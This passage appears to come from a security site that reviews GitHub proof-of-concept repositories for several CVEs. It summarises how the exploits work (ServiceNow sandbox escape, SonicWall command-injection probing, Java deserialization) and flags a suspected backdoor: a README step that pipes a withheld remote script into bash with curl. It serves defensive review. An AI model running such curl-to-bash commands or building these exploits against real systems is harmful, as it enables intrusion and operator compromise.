CVE-2026-16723.py:72-83 - Starts an HTTP server to host the malicious JAR file.
CVE-2026-16723.py:97-110 - Sends a crafted JSON payload to the target to trigger download of the JAR file.
CVE-2026-16723.py:129-133 - Sends a second crafted JSON payload to brute-force a file descriptor and trigger deserialization of the Evil class, executing the command.
CVE-2026-16723.py:144-155
Behaviors behind the backdoor verdict
Flagged behaviors
- README instructs operator to execute a remote bash script via `curl ... | bash` to 'clear nested dir .git', which is unrelated to the disclosed CVE-2026-16723 exploit and contradicts the repository's educational and authorized-use claims.
README.md:77-78
Observables
- Url
- Payload withheldRemote script URL that the README instructs the operator to pipe directly into bash.
README.md:77
What the analysis did not establish
- The embedded base64-encoded Evil.class is truncated and marked as a placeholder, so the script cannot be executed as-is without a complete payload.
- The evidence does not include the actual Evil.class or a complete JAR file, only the Python script that would use them.
- The content of the remote script at the gist URL is not included in the evidence, so its actual behavior cannot be determined.
- Two files (unclassified, 2952 bytes) were omitted from the text evidence, and their content is unknown.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubHORKimhab/CVE-2026-54900
Repository PoCStars: 0Created 2026-07-25Not analyzedCVE-2026-54900CVE-2026-549024 files
GitHubHORKimhab/CVE-2026-6875
Repository PoCStars: 1Created 2026-07-21Model review verdict: Suspicious behavior.ExploitCVE-2026-68755 files
AnalysisSuspicious behavior
Technical assessment
Python script that constructs and sends a sandbox escape payload to a ServiceNow AI Platform endpoint, aiming for unauthenticated remote code execution (CVE-2026-6875).
Backdoor review
Suspicious behaviorThe README instructs the operator to run a remote bash script via `curl ... | bash` to 'clear nested dir .git', which is a materially unexplained and concealed command that could execute arbitrary code on the operator's machine. The exploit code itself is a standard PoC for the disclosed CVE.
Classification basis and observed behavior
Classification basis
The script actively sends a crafted payload to a target to achieve sandbox escape and arbitrary code execution, which is the definition of an exploit.
cve-2026-6875.py:4cve-2026-6875.py:6-8cve-2026-6875.py:51-57Requirements
- Target URL of a vulnerable ServiceNow instance endpoint (e.g., /assessment_thanks.do).
cve-2026-6875.py:73 - Optional collaborator URL for out-of-band confirmation.
cve-2026-6875.py:74
Observed behavior
- Constructs a JavaScript payload that chains ServiceNow internal APIs (DiscoveryFunctions, AbstractAjaxProcessor) to escape the sandbox and execute arbitrary code.
cve-2026-6875.py:10-20 - URL-encodes the payload and sends it as POST data to the target URL.
cve-2026-6875.py:37-57 - If a collaborator URL is provided, the inner script makes an HTTP request to it; otherwise, it prints a marker string.
cve-2026-6875.py:23-32
Behaviors behind the backdoor verdict
Flagged behaviors
- The README instructs the operator to execute a remote, uninspected bash script with the claim it will 'clear nested dir .git'. This command is not part of the disclosed exploit and its true behavior is not visible in the provided evidence, creating a risk of executing arbitrary code on the operator's machine.
README.md:51-52
Observables
- Command
- Payload withheldA command in the README that downloads and executes a remote script on the operator's machine, presented as a necessary step for cloned projects.
README.md:51 - Url
- Payload withheldThe URL from which the remote script is fetched. The content of this script is not included in the evidence.
README.md:51
What the analysis did not establish
- Evidence includes only two text files; three additional files (including one non-text media file) are omitted, so the full repository content is not available.
- The script's actual effectiveness is not verified; classification is based solely on the code's stated purpose and behavior.
- The content of the remote script at the gist URL is not included in the evidence, preventing confirmation of its actual behavior.
- The analysis is limited to the two text files provided; other files in the repository were not inspected.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubHORKimhab/CVE-2026-60121-CVE-2026-61498
Repository PoCStars: 0Created 2026-07-20Not analyzedCVE-2026-60121CVE-2026-614985 files
GitHubHORKimhab/CVE-2022-25477
Repository PoCStars: 0Created 2026-07-16Not analyzedCVE-2022-25477CVE-2022-25478CVE-2022-25479CVE-2022-25480CVE-2024-40431CVE-2024-404325 files
GitHubHORKimhab/CVE-2022-25476
Repository PoCStars: 0Created 2026-07-16Not analyzedCVE-2022-254764 files
GitHubHORKimhab/CVE-2026-15410
Repository PoCStars: 0Created 2026-07-15Model review verdict: Suspicious behavior.ScannerCVE-2026-154104 files
AnalysisSuspicious behavior
Technical assessment
The artifact is a Python script that attempts to authenticate to a SonicWall SMA1000 appliance and then probes a list of potential endpoints with various command injection payloads. It does not contain a working exploit for a specific, known-vulnerable endpoint; instead, it blindly tests common injection points and separators, functioning as a vulnerability scanner.
Backdoor review
Suspicious behaviorThe README instructs the operator to run a remote bash script via `curl ... | bash` to 'clear nested dir .git', which is a materially unexplained and concealed operator-side command execution. The script's content is not provided, so its behavior cannot be reviewed. This contradicts the repository's own documentation, which states the project is for authorized security testing and should be used in isolated environments, yet directs the operator to execute an uninspected remote script on their own machine.
Classification basis and observed behavior
Classification basis
The script's primary operation is to probe for a vulnerability by sending various payloads to a list of guessed endpoints and checking for a generic success condition (HTTP 200). It does not leverage a specific, known-vulnerable code path to reliably execute commands. The script itself and its documentation explicitly state it is a 'Conceptual PoC' and that 'The real vulnerable endpoint and parameter are NOT public,' confirming its function as a scanner rather than a working exploit.
cve-2026-15410.py:3cve-2026-15410.py:7cve-2026-15410.py:109cve-2026-15410.py:123Requirements
- Valid administrator credentials for the target SonicWall SMA1000 appliance.
cve-2026-15410.py:22-25 - Network access to the target appliance's management interface.
cve-2026-15410.py:114
Observed behavior
- Authenticates to the target using provided credentials by trying multiple login URL paths.
cve-2026-15410.py:38-53 - Iterates through a hardcoded list of potential vulnerable endpoints and command separators, sending HTTP GET requests with command injection payloads.
cve-2026-15410.py:55-96 - Checks for a 200 OK HTTP response status code as a heuristic for a successful injection, printing a snippet of the response.
cve-2026-15410.py:88-91
Behaviors behind the backdoor verdict
Flagged behaviors
- The README instructs the operator to execute a remote bash script directly on their machine with `curl -fsSL payload withheld | bash -s -- -y`. This command is presented as a necessary step to 'clear nested dir .git' when cloning from other projects, but the script's content is not included in the repository and its behavior is not explained. This is a material contradiction with the repository's own documentation, which emphasizes authorized and isolated use, as it directs the operator to run uninspected code on their own system.
README.md:51
Observables
- Url
- Payload withheldRemote script URL that the README instructs the operator to pipe directly into bash. The script's content is not provided in the evidence, so its behavior is unknown.
README.md:51
What the analysis did not establish
- The evidence packet reports complete_artifact_coverage is false, and 2 of 4 total files were omitted from the packet content, though the 2 included files are the primary code and documentation.
- The content of the remote script at the gist URL is not included in the evidence, so its actual behavior cannot be determined.
- Two text files (requirements.txt and another unspecified file) are present in the repository but their content is not provided, though they are not cited in the finding.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubHORKimhab/CVE-2026-15409
Repository PoCStars: 0Created 2026-07-15ScannerCVE-2026-154094 files
Analysis
Technical assessment
The artifact is a Python script (cve-2026-15409-detect.py) designed to scan a SonicWall SMA1000 appliance for indicators of compromise (IOCs) related to CVE-2026-15409 by checking log files and configuration for suspicious patterns. It does not contain any code to exploit the SSRF vulnerability.
Backdoor review
No backdoor observed in reviewed code
The repository contains a README with educational disclaimers and a Python script that checks log files and a configuration file for indicators of compromise related to CVE-2026-15409. The script performs only local file reads and pattern matching; no network activity, command execution, data exfiltration, persistence, or other backdoor behavior is present. The README includes a note about a curl-to-bash command for cleaning nested .git directories, but this is presented as an optional manual step for users cloning other projects and is not executed by the supplied artifact.
Classification basis and observed behavior
Classification basis
The primary Python script (cve-2026-15409-detect.py) is an IOC detection tool. It reads local log files and a configuration file to search for patterns indicative of past exploitation. It does not send any network requests, craft malicious payloads, or attempt to trigger the SSRF vulnerability. Its stated purpose is to 'check for indicators of compromise'.
cve-2026-15409-detect.py:3-4cve-2026-15409-detect.py:20-92Requirements
- The script must be executed directly on the SMA1000 appliance to access the log and configuration files.
cve-2026-15409-detect.py:4
Observed behavior
- Checks /var/log/extraweb_access.log for suspicious requests matching patterns like '/__api__/login', '/__api__/logout', and '/wsproxy'.
cve-2026-15409-detect.py:20-46 - Checks /var/log/ctrl-service.log for hotfix rollback indicators containing path traversal patterns.
cve-2026-15409-detect.py:48-67 - Checks /var/lib/unit/conf.json for the presence of malicious routes like '/__api__/login' and '/__api__/logout'.
cve-2026-15409-detect.py:69-92 - Prints remediation steps from the SonicWall advisory, including upgrading firmware and re-imaging the appliance.
cve-2026-15409-detect.py:112-115
Behaviors behind the backdoor verdict
Observables
- Curl To Bash Instruction
- Payload withheldThe README instructs users to run this command to clear nested .git directories when cloning from other projects. The command is not executed by the artifact itself and is described as a manual step for repository cleanup.
README.md:51
What the analysis did not establish
- The evidence packet reports 2 unclassified files (total 2952 bytes) that were not provided as text, but their content is unknown and cannot be analyzed.
- The README.md file contains only educational disclaimers and setup instructions, with no technical exploit details.
- Two text files (requirements.txt and another unspecified file) were present in the repository but not included in the evidence packet; their content was not reviewed.
- The curl-to-bash URL was not fetched or analyzed; its content is unknown.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.